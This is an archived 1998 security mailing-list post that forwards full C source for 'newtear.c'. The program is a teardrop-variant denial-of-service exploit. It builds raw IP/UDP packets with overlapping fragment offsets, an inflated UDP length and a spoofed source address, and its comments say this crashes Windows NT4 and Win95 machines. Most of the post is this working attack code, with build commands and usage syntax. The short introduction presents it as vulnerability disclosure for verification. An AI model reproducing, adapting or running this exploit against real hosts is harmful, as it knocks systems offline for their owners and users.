Source for NEWTEAR.C

From: Aleph One (aleph1at_private)
Date: Fri Jan 09 1998 - 08:19:32 PST

  • Next message: Alfred Huger: "Re: riptrace.c"

      This message is in MIME format.  The first part should be readable text,
      while the remaining parts are likely unreadable without MIME-aware tools.
      Send mail to mimeat_private for more info.
    
    --------------B9381F7F087554B62D7CA818
    Content-Type: TEXT/PLAIN; CHARSET=us-ascii
    Content-ID: <Pine.SUN.3.94.980109101859.29401Dat_private>
    
    ---------- Forwarded message ----------
    Date: Thu, 08 Jan 1998 23:24:22 -0700
    From: Jiva DeVoe <jivaat_private>
    To: ntsecurityat_private,
        "NTBUGTRAQat_private" <NTBUGTRAQat_private>
    Subject: [NTSEC] Source for NEWTEAR.C
    
    Since the source for BORK.C has already been posted, and it is slightly
    different from the source I used to find the exploit originally, and
    because MANY people have mentioned that they would have wanted source to
    test/verify this problem, I'm posting my source here as well just to
    make sure that both issues are fully resolved.
    
    For the record, Microsoft received this same source this morning at
    about 2am.
    
     You must be ROOT on a unix machine to open raw sockets.
    
    I don't know what one could do to protect against this, it uses
    fragmented UDP packets sent to random ports.
    
    Here it is...
    
    Jiva DeVoe
    MCSE
    Devware
    
    --------------B9381F7F087554B62D7CA818
    Content-Type: TEXT/PLAIN; CHARSET=us-ascii; NAME="newtear.c"
    Content-ID: <Pine.SUN.3.94.980109101859.29401Eat_private>
    Content-Description:
    
    
    /*  Newtear.c
     *  Seemingly, a new teardrop type exploit. Affects NT4, and Win95.
     *
     *  Discovered 01/08/1998
     *
     *  Updated notes:
     *     This is a new version of teardrop.  It affects NT 4 and Win95 machines with all
     *     current patches and hotfixes.  Causes a bluescreen in both operating systems.
     *     Linux appears unaffected, other *NIXes untested.  Differences are:
     *
     *     Smaller padding data size (20 bytes instead of 28 in previous teardrop)
     *     Faked out UDP total length.  (Increased reported UDP length to twice what it really is)
     *
     *  Copyright (c) 1997 route|daemon9  <routeat_private> 11.3.97
     *
     *  Linux/NT/95 Overlap frag bug exploit
     *
     *  Exploits the overlapping IP fragment bug present in all Linux kernels and
     *  NT 4.0 / Windows 95 (others?)
     *
     *  Based off of:   flip.c by klepto
     *  Compiles on:    Linux, *BSD*
     *
     *  gcc -O2 teardrop.c -o teardrop
     *      OR
     *  gcc -O2 teardrop.c -o teardrop -DSTRANGE_BSD_BYTE_ORDERING_THING
     */
    
    #include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>
    #include <string.h>
    #include <netdb.h>
    #include <netinet/in.h>
    #include <netinet/udp.h>
    #include <arpa/inet.h>
    #include <sys/types.h>
    #include <sys/time.h>
    #include <sys/socket.h>
    
    #ifdef STRANGE_BSD_BYTE_ORDERING_THING
                            /* OpenBSD < 2.1, all FreeBSD and netBSD, BSDi < 3.0 */
    #define FIX(n)  (n)
    #else                   /* OpenBSD 2.1, all Linux */
    #define FIX(n)  htons(n)
    #endif  /* STRANGE_BSD_BYTE_ORDERING_THING */
    
    #define IP_MF   0x2000  /* More IP fragment en route */
    #define IPH     0x14    /* IP header size */
    #define UDPH    0x8     /* UDP header size */
    #define PADDING 0x14    /* datagram frame padding for first packet */ /* JD Change pad size to 20 decimal. */
    #define MAGIC   0x3     /* Magic Fragment Constant (tm).  Should be 2 or 3 */
    #define COUNT   0x1     /* Linux dies with 1, NT is more stalwart and can
                             * withstand maybe 5 or 10 sometimes...  Experiment.
                             */
    void usage(u_char *);
    u_long name_resolve(u_char *);
    u_short in_cksum(u_short *, int);
    void send_frags(int, u_long, u_long, u_short, u_short);
    
    int main(int argc, char **argv)
    {
        int one = 1, count = 0, i, rip_sock;
        u_long  src_ip = 0, dst_ip = 0;
        u_short src_prt = 0, dst_prt = 0;
        struct in_addr addr;
    
        fprintf(stderr, "teardrop   route|daemon9\n\n");
    
        if((rip_sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
        {
            perror("raw socket");
            exit(1);
        }
        if (setsockopt(rip_sock, IPPROTO_IP, IP_HDRINCL, (char *)&one, sizeof(one))
            < 0)
        {
            perror("IP_HDRINCL");
            exit(1);
        }
        if (argc < 3) usage(argv[0]);
        if (!(src_ip = name_resolve(argv[1])) || !(dst_ip = name_resolve(argv[2])))
        {
            fprintf(stderr, "What the hell kind of IP address is that?\n");
            exit(1);
        }
    
        while ((i = getopt(argc, argv, "s:t:n:")) != EOF)
        {
            switch (i)
            {
                case 's':               /* source port (should be emphemeral) */
                    src_prt = (u_short)atoi(optarg);
                    break;
                case 't':               /* dest port (DNS, anyone?) */
                    dst_prt = (u_short)atoi(optarg);
                    break;
                case 'n':               /* number to send */
                    count   = atoi(optarg);
                    break;
                default :
                    usage(argv[0]);
                    break;              /* NOTREACHED */
            }
        }
        srandom((unsigned)(time((time_t)0)));
        if (!src_prt) src_prt = (random() % 0xffff);
        if (!dst_prt) dst_prt = (random() % 0xffff);
        if (!count)   count   = COUNT;
    
        fprintf(stderr, "Death on flaxen wings:\n");
        addr.s_addr = src_ip;
        fprintf(stderr, "From: %15s.%5d\n", inet_ntoa(addr), src_prt);
        addr.s_addr = dst_ip;
        fprintf(stderr, "  To: %15s.%5d\n", inet_ntoa(addr), dst_prt);
        fprintf(stderr, " Amt: %5d\n", count);
        fprintf(stderr, "[ ");
    
        for (i = 0; i < count; i++)
        {
            send_frags(rip_sock, src_ip, dst_ip, src_prt, dst_prt);
            fprintf(stderr, "b00m ");
            usleep(500);
        }
        fprintf(stderr, "]\n");
        return (0);
    }
    
    /*
     *  Send two IP fragments with pathological offsets.  We use an implementation
     *  independent way of assembling network packets that does not rely on any of
     *  the diverse O/S specific nomenclature hinderances (well, linux vs. BSD).
     */
    
    void send_frags(int sock, u_long src_ip, u_long dst_ip, u_short src_prt,
                    u_short dst_prt)
    {
        u_char *packet = NULL, *p_ptr = NULL;   /* packet pointers */
        u_char byte;                            /* a byte */
        struct sockaddr_in sin;                 /* socket protocol structure */
    
        sin.sin_family      = AF_INET;
        sin.sin_port        = src_prt;
        sin.sin_addr.s_addr = dst_ip;
    
        /*
         * Grab some memory for our packet, align p_ptr to point at the beginning
         * of our packet, and then fill it with zeros.
         */
        packet = (u_char *)malloc(IPH + UDPH + PADDING);
        p_ptr  = packet;
        bzero((u_char *)p_ptr, IPH + UDPH + PADDING); // Set it all to zero
    
        byte = 0x45;                        /* IP version and header length */
        memcpy(p_ptr, &byte, sizeof(u_char));
        p_ptr += 2;                         /* IP TOS (skipped) */
        *((u_short *)p_ptr) = FIX(IPH + UDPH + PADDING);    /* total length */
        p_ptr += 2;
        *((u_short *)p_ptr) = htons(242);   /* IP id */
        p_ptr += 2;
        *((u_short *)p_ptr) |= FIX(IP_MF);  /* IP frag flags and offset */
        p_ptr += 2;
        *((u_short *)p_ptr) = 0x40;         /* IP TTL */
        byte = IPPROTO_UDP;
        memcpy(p_ptr + 1, &byte, sizeof(u_char));
        p_ptr += 4;                         /* IP checksum filled in by kernel */
        *((u_long *)p_ptr) = src_ip;        /* IP source address */
        p_ptr += 4;
        *((u_long *)p_ptr) = dst_ip;        /* IP destination address */
        p_ptr += 4;
        *((u_short *)p_ptr) = htons(src_prt);       /* UDP source port */
        p_ptr += 2;
        *((u_short *)p_ptr) = htons(dst_prt);       /* UDP destination port */
        p_ptr += 2;
        *((u_short *)p_ptr) = htons(8 + PADDING*2);   /* UDP total length */ /* Increases UDP total length to 48 bytes
                                                         Which is too big! */
    
        if (sendto(sock, packet, IPH + UDPH + PADDING, 0, (struct sockaddr *)&sin,
                    sizeof(struct sockaddr)) == -1)
        {
            perror("\nsendto");
            free(packet);
            exit(1);
        }
    
        /*  We set the fragment offset to be inside of the previous packet's
         *  payload (it overlaps inside the previous packet) but do not include
         *  enough payload to cover complete the datagram.  Just the header will
         *  do, but to crash NT/95 machines, a bit larger of packet seems to work
         *  better.
         */
        p_ptr = &packet[2];         /* IP total length is 2 bytes into the header */
        *((u_short *)p_ptr) = FIX(IPH + MAGIC + 1);
        p_ptr += 4;                 /* IP offset is 6 bytes into the header */
        *((u_short *)p_ptr) = FIX(MAGIC);
    
        if (sendto(sock, packet, IPH + MAGIC + 1, 0, (struct sockaddr *)&sin,
                    sizeof(struct sockaddr)) == -1)
        {
            perror("\nsendto");
            free(packet);
            exit(1);
        }
        free(packet);
    }
    
    u_long name_resolve(u_char *host_name)
    {
        struct in_addr addr;
        struct hostent *host_ent;
    
        if ((addr.s_addr = inet_addr(host_name)) == -1)
        {
            if (!(host_ent = gethostbyname(host_name))) return (0);
            bcopy(host_ent->h_addr, (char *)&addr.s_addr, host_ent->h_length);
        }
        return (addr.s_addr);
    }
    
    void usage(u_char *name)
    {
        fprintf(stderr,
                "%s src_ip dst_ip [ -s src_prt ] [ -t dst_prt ] [ -n how_many ]\n",
                name);
        exit(0);
    }
    
    /* EOF */
    
    
    --------------B9381F7F087554B62D7CA818--
    



    This archive was generated by hypermail 2b30 : Fri Apr 13 2001 - 13:38:31 PDT